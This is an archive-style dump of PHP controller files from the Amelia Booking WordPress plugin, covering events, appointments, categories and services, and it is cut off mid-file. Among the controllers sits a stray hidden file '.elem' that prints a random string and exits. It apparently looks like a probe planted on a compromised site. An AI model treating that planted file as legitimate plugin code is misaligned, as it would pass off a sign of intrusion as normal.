RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateEventCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); } return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('EventEdited', $result); } } Controller/Booking/Event/GetEventsController.php 0000666 00000002070 15165412624 0016032 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Event; use AmeliaBooking\Application\Commands\Booking\Event\GetEventsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetEventsController * * @package AmeliaBooking\Application\Controller\Booking\Event */ class GetEventsController extends Controller { /** * Instantiates the Get Events command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetEventsCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetEventsCommand($args); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); unset($params['source']); } $this->setArrayParams($params); $command->setField('params', $params); $command->setToken($request); return $command; } } Controller/Booking/Appointment/DeleteBookingController.php 0000666 00000002413 15165412624 0020057 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\DeleteBookingCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class DeleteBookingController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class DeleteBookingController extends Controller { /** * Instantiates the Delete Booking command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return mixed * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new DeleteBookingCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('BookingDeleted', $result); } } Controller/Booking/Appointment/UpdateAppointmentController.php 0000666 00000003675 15165412624 0021020 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\UpdateAppointmentCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class UpdateAppointmentController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class UpdateAppointmentController extends Controller { /** * Fields for appointment that can be received from front-end * * @var array */ public $allowedFields = [ 'bookings', 'removedBookings', 'bookingStart', 'notifyParticipants', 'internalNotes', 'serviceId', 'providerId', 'locationId', 'id', 'payment', 'utc', 'timeZone', 'lessonSpace', 'createPaymentLinks' ]; /** * Instantiates the Update Appointment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateAppointmentCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateAppointmentCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); } return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('AppointmentEdited', $result); } } Controller/Booking/Appointment/GetTimeSlotsController.php 0000666 00000006446 15165412624 0017741 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\GetTimeSlotsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetTimeSlotsController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class GetTimeSlotsController extends Controller { /** * Fields for calendar service that can be received from front-end * * @var array */ protected $allowedFields = [ 'serviceId', 'serviceDuration', 'weekDays', 'startDateTime', 'providerIds', 'extras', 'excludeAppointmentId', 'persons', 'group', 'page', 'monthsLoad', 'queryTimeZone', 'timeZone', ]; /** * Instantiates the Get Time Slots command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return mixed * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetTimeSlotsCommand($args); $params = (array)$request->getQueryParams(); if (!empty($params['extras'])) { if (($arrayExtras = json_decode($params['extras'], true)) !== null) { $params['extras'] = $arrayExtras; } else { $arrayExtras = []; foreach (explode(',', $params['extras']) as $item) { $extrasData = explode('-', $item); $arrayExtras[] = ['id' => $extrasData[0], 'quantity' => $extrasData[1]]; } $params['extras'] = $arrayExtras; } } $this->setArrayParams($params); $command->setField('serviceId', (int)$request->getQueryParam('serviceId', 0)); $command->setField('locationId', (int)$request->getQueryParam('locationId', 0)); $command->setField('serviceDuration', (int)$request->getQueryParam('serviceDuration', 0)); $command->setField('weekDays', (array)$request->getQueryParam('weekDays', [1, 2, 3, 4, 5, 6, 7])); $command->setField('startDateTime', (string)$request->getQueryParam('startDateTime', '')); $command->setField('endDateTime', (string)$request->getQueryParam('endDateTime', '')); $command->setField('providerIds', !empty($params['providerIds']) ? $params['providerIds'] : []); $command->setField('extras', !empty($params['extras']) ? $params['extras'] : []); $command->setField('excludeAppointmentId', (int)$request->getQueryParam('excludeAppointmentId', [])); $command->setField('persons', (int)$request->getQueryParam('persons', 1)); $command->setField('group', (int)$request->getQueryParam('group', 0)); $command->setField('page', (string)$request->getQueryParam('page', '')); $command->setField('monthsLoad', (int)$request->getQueryParam('monthsLoad', 0)); $command->setField('queryTimeZone', (string)$request->getQueryParam('queryTimeZone', '')); $command->setField('timeZone', (string)$request->getQueryParam('timeZone', '')); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Booking/Appointment/GetAppointmentController.php 0000666 00000002267 15165412624 0020311 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\GetAppointmentCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class GetAppointmentController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class GetAppointmentController extends Controller { /** * Instantiates the Get Appointment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return mixed * * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetAppointmentCommand($args); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); unset($params['source']); } $command->setField('params', $params); $command->setToken($request); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Booking/Appointment/AddBookingController.php 0000666 00000003407 15165412624 0017351 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\AddBookingCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class AddBookingController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class AddBookingController extends Controller { /** * Fields for booking that can be received from front-end * * @var array */ public $allowedFields = [ 'type', 'bookings', 'bookingStart', 'notifyParticipants', 'eventId', 'serviceId', 'providerId', 'locationId', 'couponCode', 'validateCoupon', 'payment', 'recurring', 'packageId', 'package', 'packageRules', 'utcOffset', 'locale', 'timeZone', 'urlParams', 'utc', 'recaptcha', 'deposit', 'ticketsData', 'isBackendOrCabinet' ]; /** * Instantiates the Add Booking command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddBookingCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddBookingCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); unset($params['source']); } $command->setToken($request); return $command; } } Controller/Booking/Appointment/UpdateAppointmentTimeController.php 0000666 00000003267 15165412624 0021634 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\UpdateAppointmentTimeCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdateAppointmentTimeController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class UpdateAppointmentTimeController extends Controller { /** * Fields for appointment that can be received from front-end * * @var array */ public $allowedFields = [ 'bookingStart', 'utcOffset' ]; /** * Instantiates the Update Appointment Time command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateAppointmentTimeCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateAppointmentTimeCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); } return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('BookingTimeUpdated', $result); } } Controller/Booking/Appointment/SuccessfulBookingController.php 0000666 00000003256 15165412624 0021002 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\SuccessfulBookingCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class SuccessfulBookingController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class SuccessfulBookingController extends Controller { /** * Fields for successful booking that can be received from front-end * * @var array */ public $allowedFields = [ 'type', 'appointmentStatusChanged', 'recurring', 'package', 'packageId', 'customer', 'paymentId', 'packageCustomerId', ]; /** * Instantiates the SuccessfulBooking command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return SuccessfulBookingCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new SuccessfulBookingCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { if ($result->getData()) { $eventBus->emit('BookingAdded', $result); } } } Controller/Booking/Appointment/CancelBookingRemotelyController.php 0000666 00000003345 15165412624 0021570 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\CancelBookingRemotelyCommand; use AmeliaBooking\Application\Commands\Booking\Appointment\UpdateBookingStatusCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class CancelBookingRemotelyController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class CancelBookingRemotelyController extends Controller { /** * Fields for calendar service that can be received from front-end * * @var array */ protected $allowedFields = [ 'token', 'type', ]; /** * Instantiates the Update Appointment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return CancelBookingRemotelyCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new CancelBookingRemotelyCommand($args); $requestBody = $request->getParsedBody(); $command->setField('token', (string)$request->getQueryParam('token', '')); $command->setField('type', (string)$request->getQueryParam('type', '')); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('BookingCanceled', $result); } } Controller/Booking/Appointment/UpdateAppointmentStatusController.php 0000666 00000003002 15165412624 0022204 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\UpdateAppointmentStatusCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdateAppointmentStatusController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class UpdateAppointmentStatusController extends Controller { /** * Fields for appointment that can be received from front-end * * @var array */ public $allowedFields = [ 'status', 'packageCustomerId' ]; /** * Instantiates the Update Appointment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateAppointmentStatusCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateAppointmentStatusCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('AppointmentStatusUpdated', $result); } } Controller/Booking/Appointment/CancelBookingController.php 0000666 00000003161 15165412624 0020043 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\CancelBookingCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class CancelBookingController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class CancelBookingController extends Controller { /** * Fields for cancel booking that can be received from front-end * * @var array */ protected $allowedFields = [ 'type', ]; /** * Instantiates the Update Appointment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return CancelBookingCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new CancelBookingCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); } return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('BookingCanceled', $result); } } Controller/Booking/Appointment/DeleteAppointmentController.php 0000666 00000002414 15165412624 0020766 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\DeleteAppointmentCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class DeleteAppointmentController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class DeleteAppointmentController extends Controller { /** * Instantiates the Delete Appointment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return mixed * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new DeleteAppointmentCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('AppointmentDeleted', $result); } } Controller/Booking/Appointment/GetAppointmentsController.php 0000666 00000003011 15165412624 0020460 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\GetAppointmentsCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class GetAppointmentsController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class GetAppointmentsController extends Controller { /** * Instantiates the Get Appointments command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetAppointmentsCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetAppointmentsCommand($args); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); unset($params['source']); } $this->setArrayParams($params); if (isset($params['providers'])) { $params['providers'] = array_map('intval', $params['providers']); } if (isset($params['services'])) { $params['services'] = array_map('intval', $params['services']); } if (isset($params['packages'])) { $params['packages'] = array_map('intval', $params['packages']); } $command->setField('params', $params); $command->setToken($request); return $command; } } Controller/Booking/Appointment/AddAppointmentController.php 0000666 00000003623 15165412624 0020257 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\AddAppointmentCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class AddAppointmentController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class AddAppointmentController extends Controller { /** * Fields for appointment that can be received from front-end * * @var array */ public $allowedFields = [ 'bookings', 'bookingStart', 'notifyParticipants', 'internalNotes', 'serviceId', 'providerId', 'locationId', 'payment', 'recurring', 'utc', 'timeZone', 'packageCustomer', 'lessonSpace' ]; /** * Instantiates the Add Appointment command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddAppointmentCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddAppointmentCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); } return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('AppointmentAdded', $result); } } Controller/Booking/Appointment/ReassignBookingController.php 0000666 00000003270 15165412624 0020432 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\ReassignBookingCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class ReassignBookingController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class ReassignBookingController extends Controller { /** * Fields for booking that can be received from front-end * * @var array */ public $allowedFields = [ 'bookingStart', 'utcOffset', 'timeZone', ]; /** * Instantiates the Reassign Booking command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return ReassignBookingCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new ReassignBookingCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); $params = (array)$request->getQueryParams(); if (isset($params['source'])) { $command->setPage($params['source']); } return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('BookingReassigned', $result); } } Controller/Booking/Appointment/GetIcsController.php 0000666 00000002673 15165412624 0016532 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Booking\Appointment; use AmeliaBooking\Application\Commands\Booking\Appointment\GetIcsCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class GetIcsController * * @package AmeliaBooking\Application\Controller\Booking\Appointment */ class GetIcsController extends Controller { /** * Fields for fetching ics file that can be received from front-end * * @var array */ public $allowedFields = [ 'type', 'token', ]; /** * Instantiates the Get Ics command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetIcsCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetIcsCommand($args); $command->setField('params', (array)$request->getQueryParams()); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { } } Controller/Bookable/Category/UpdateCategoryController.php 0000666 00000002755 15165412624 0017702 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Bookable\Category; use AmeliaBooking\Application\Commands\Bookable\Category\UpdateCategoryCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdateCategoryController * * @package AmeliaBooking\Application\Controller\Bookable\Category */ class UpdateCategoryController extends Controller { /** * Fields for category that can be received from front-end * * @var array */ protected $allowedFields = [ 'status', 'name', 'position', 'translations', ]; /** * Instantiates the Update Category command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateCategoryCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateCategoryCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('bookable.category.updated', $result); } } Controller/Bookable/Category/GetCategoryController.php 0000666 00000001572 15165412624 0017173 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Bookable\Category; use AmeliaBooking\Application\Commands\Bookable\Category\GetCategoryCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetCategoryController * * @package AmeliaBooking\Application\Controller\Bookable\Category */ class GetCategoryController extends Controller { /** * Instantiates the Get Category command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetCategoryCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetCategoryCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Bookable/Category/DeleteCategoryController.php 0000666 00000002416 15165412624 0017654 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Bookable\Category; use AmeliaBooking\Application\Commands\Bookable\Category\DeleteCategoryCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class DeleteCategoryController * * @package AmeliaBooking\Application\Controller\Bookable\Category */ class DeleteCategoryController extends Controller { /** * Instantiates the Delete Category command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return DeleteCategoryCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new DeleteCategoryCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('bookable.category.deleted', $result); } } Controller/Bookable/Category/GetCategoriesController.php 0000666 00000001606 15165412624 0017501 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Bookable\Category; use AmeliaBooking\Application\Commands\Bookable\Category\GetCategoriesCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetCategoriesController * * @package AmeliaBooking\Application\Controller\Bookable\Category */ class GetCategoriesController extends Controller { /** * Instantiates the Get Categories command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetCategoriesCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetCategoriesCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Bookable/Category/AddCategoryController.php 0000666 00000002730 15165412624 0017141 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Bookable\Category; use AmeliaBooking\Application\Commands\Bookable\Category\AddCategoryCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class AddCategoryController * * @package AmeliaBooking\Application\Controller\Bookable\Category */ class AddCategoryController extends Controller { /** * Fields for category that can be received from front-end * * @var array */ protected $allowedFields = [ 'status', 'name', 'position', 'serviceList' ]; /** * Instantiates the Add Category command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddCategoryCommand. * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddCategoryCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('bookable.category.added', $result); } } Controller/Bookable/Category/UpdateCategoriesPositionsController.php 0000666 00000002013 15165412624 0022105 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Bookable\Category; use AmeliaBooking\Application\Commands\Bookable\Category\UpdateCategoriesPositionsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class UpdateCategoriesPositionsController * * @package AmeliaBooking\Application\Controller\Bookable\Category */ class UpdateCategoriesPositionsController extends Controller { /** * Fields for category that can be received from front-end * * @var array */ protected $allowedFields = [ 'categories' ]; /** * @param Request $request * @param $args * * @return UpdateCategoriesPositionsCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateCategoriesPositionsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Bookable/Service/DeleteServiceController.php 0000666 00000002561 15165412624 0017323 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Bookable\Service; use AmeliaBooking\Application\Commands\Bookable\Service\DeleteServiceCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class DeleteServiceController * * @package AmeliaBooking\Application\Controller\Bookable\Service */ class DeleteServiceController extends Controller { /** * Instantiates the Delete Service command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return DeleteServiceCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new DeleteServiceCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('bookable.service.deleted', $result); } } Controller/Bookable/Service/.elem 0000666 00000000061 15165412624 0012737 0 ustar 00 <?php print "xgNMCURvGS"."qvhnueqcKkUHOPKY";exit; Controller/Bookable/Service/GetServiceController.php 0000666 00000001736 15165412624 0016643 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Bookable\Service; use AmeliaBooking\Application\Commands\Bookable\Service\GetServiceCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetServiceController * * @package AmeliaBooking\Application\Controller\Bookable\Service */ class GetServiceController extends Controller { /** * Instantiates the Get Service command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetServiceCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetServiceCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Bookable/Service/UpdateServiceStatusController.php 0000666 00000002267 15165412624 0020552 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Bookable\Service; use AmeliaBooking\Application\Commands\Bookable\Service\UpdateServiceStatusCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class UpdateServiceStatusController * * @package AmeliaBooking\Application\Controller\Bookable\Service */ class UpdateServiceStatusController extends Controller { /** * Fields for service that can be received from front-end * * @var array */ protected $allowedFields = [ 'status', ]; /** * Instantiates the Update Service Status command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateServiceStatusCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateServiceStatusCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Bookable/Service/UpdateServicesPositionsController.php 0000666 00000002016 15165412624 0021431 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Bookable\Service; use AmeliaBooking\Application\Commands\Bookable\Service\UpdateServicesPositionsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class UpdateServicesPositionsController * * @package AmeliaBooking\Application\Controller\Bookable\Service */ class UpdateServicesPositionsController extends Controller { /** * Fields for service that can be received from front-end * * @var array */ protected $allowedFields = [ 'services', 'sorting' ]; /** * @param Request $request * @param $args * * @return UpdateServicesPositionsCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateServicesPositionsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Bookable/Service/GetServiceDeleteEffectController.php 0000666 00000001673 15165412624 0021103 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Bookable\Service; use AmeliaBooking\Application\Commands\Bookable\Service\GetServiceDeleteEffectCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetServiceDeleteEffectController * * @package AmeliaBooking\Application\Controller\Bookable\Service */ class GetServiceDeleteEffectController extends Controller { /** * Instantiates the Get Service Delete Effect command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetServiceDeleteEffectCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetServiceDeleteEffectCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Bookable/Service/AddServiceController.php 0000666 00000004341 15165412624 0016607 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Bookable\Service; use AmeliaBooking\Application\Commands\Bookable\Service\AddServiceCommand; use 